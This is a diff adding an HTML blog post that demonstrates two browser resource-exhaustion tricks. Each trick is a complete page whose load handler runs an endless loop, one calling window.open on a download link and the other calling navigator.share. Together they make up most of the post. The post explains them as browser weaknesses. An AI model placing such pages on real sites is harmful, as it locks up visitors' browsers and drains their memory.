|
| 1 | +<!DOCTYPE html> |
| 2 | +<html> |
| 3 | + |
| 4 | +<head> |
| 5 | + <meta charset="utf-8"> |
| 6 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
| 7 | + <title>02.html</title> |
| 8 | + <link rel="stylesheet" href="https://stackedit.io/style.css" /> |
| 9 | +</head> |
| 10 | + |
| 11 | +<body class="stackedit"> |
| 12 | + <div class="stackedit__html"><h2 id="huge-websites">Huge websites</h2> |
| 13 | +<p>These everyone uses browsers, there are still subtle ways for static websites to bleed your resources and occupy your screen and this blog will mention a few of these.<br> |
| 14 | +Browsers tested: [<code>Chrome</code>, <code>Edge</code>, <code>Brave</code>]</p> |
| 15 | +<h3 id="infinite-downloads">1.Infinite downloads</h3> |
| 16 | +<p>The following html code will open infinite pop ups, well you might say what’s the big deal?<br> |
| 17 | +Well, this will not just open infinite pop ups, it will open download links, thus you need to engage and specify the download path before closing the site, imagine that for infinite tabs. If your download path is taken by default then you will have to close all the downloads initiated.<br> |
| 18 | +OK, what’s the big deal, you may have pop ups disabled in your browser. But, even though the pop ups are blocked, the browser allocated ram to the infinite downloads. Which can be a huge potential exploit in case of static websites which appear harmless.<br> |
| 19 | +The following is the code and ram usage on windows 11 with 8GB ram:</p> |
| 20 | +<pre class=" language-html"><code class="prism language-html"><span class="token doctype"><!DOCTYPE html></span> |
| 21 | + |
| 22 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> |
| 23 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>head</span><span class="token punctuation">></span></span> |
| 24 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> |
| 25 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>meta</span> <span class="token attr-name">name</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>viewport<span class="token punctuation">"</span></span> <span class="token attr-name">content</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>width=device-width, initial-scale=1.0<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> |
| 26 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span>Auto-Open Link in New Tab<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span> |
| 27 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script language-javascript"> |
| 28 | + window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> |
| 29 | + <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> |
| 30 | + window<span class="token punctuation">.</span><span class="token function">open</span><span class="token punctuation">(</span><span class="token string">'https://github.com/ChrompyCoder/secuRIT-event-documentations./releases/download/v1.0.0/sample.tar'</span><span class="token punctuation">,</span> <span class="token string">'_blank'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> |
| 31 | + <span class="token punctuation">}</span> |
| 32 | + <span class="token punctuation">}</span><span class="token punctuation">;</span> |
| 33 | +</span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> |
| 34 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>head</span><span class="token punctuation">></span></span> |
| 35 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>body</span><span class="token punctuation">></span></span> |
| 36 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>h1</span><span class="token punctuation">></span></span>Welcome<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>h1</span><span class="token punctuation">></span></span> |
| 37 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span>Open a website/download link infinite times to block a user to use browser.<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>br</span><span class="token punctuation">></span></span> |
| 38 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>p</span><span class="token punctuation">></span></span>Infinite websites block the user to further use their browser until the download prompt is satisfied or cancel all the mass downloads<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>p</span><span class="token punctuation">></span></span> |
| 39 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>body</span><span class="token punctuation">></span></span> |
| 40 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>html</span><span class="token punctuation">></span></span> |
| 41 | +</code></pre> |
| 42 | +<p><img src="images/downloadram.png" alt="Ram usage"><br><br> |
| 43 | +There is no sudden spike but rather the slow allocation of resource over time</p> |
| 44 | +<h3 id="infinite-shares">2.Infinite shares</h3> |
| 45 | +<p>The following will open infinite share tabs infinitely. This can be used as a daemon on static websites which will slowly eat your ram:</p> |
| 46 | +<pre class=" language-html"><code class="prism language-html"><span class="token doctype"><!DOCTYPE html></span> |
| 47 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span><span class="token punctuation">></span></span> |
| 48 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>head</span><span class="token punctuation">></span></span> |
| 49 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span>Share Link<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span> |
| 50 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>head</span><span class="token punctuation">></span></span> |
| 51 | +<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>body</span><span class="token punctuation">></span></span> |
| 52 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>h1</span><span class="token punctuation">></span></span>Share This Link<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>h1</span><span class="token punctuation">></span></span> |
| 53 | + <span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span><span class="token punctuation">></span></span><span class="token script language-javascript"> |
| 54 | + <span class="token keyword">function</span> <span class="token function">shareLink</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> |
| 55 | + <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token punctuation">;</span><span class="token punctuation">;</span><span class="token punctuation">)</span><span class="token punctuation">{</span> |
| 56 | + navigator<span class="token punctuation">.</span><span class="token function">share</span><span class="token punctuation">(</span><span class="token punctuation">{</span> |
| 57 | + url<span class="token punctuation">:</span> <span class="token string">'https://example.com/share'</span> |
| 58 | + <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">}</span> |
| 59 | + <span class="token punctuation">}</span> |
| 60 | + window<span class="token punctuation">.</span><span class="token function-variable function">onload</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> |
| 61 | + <span class="token function">shareLink</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> |
| 62 | + <span class="token punctuation">}</span><span class="token punctuation">;</span> |
| 63 | + </span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span> |
| 64 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>body</span><span class="token punctuation">></span></span> |
| 65 | +<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>html</span><span class="token punctuation">></span></span> |
| 66 | +</code></pre> |
| 67 | +<p><img src="images/shareram.png" alt="Ram usage"><br><br> |
| 68 | +Same as before there is no spike but rather slow allocation of ram.</p> |
| 69 | +<p>The browser does not detect these until huge chunk ram is used.</p> |
| 70 | +<p>@san<br> |
| 71 | +<a href="https://chrompycoder.github.io/blog/Edit_this_page.html">Edit this blog</a></p> |
| 72 | +</div> |
| 73 | +</body> |
| 74 | + |
| 75 | +</html> |
0 commit comments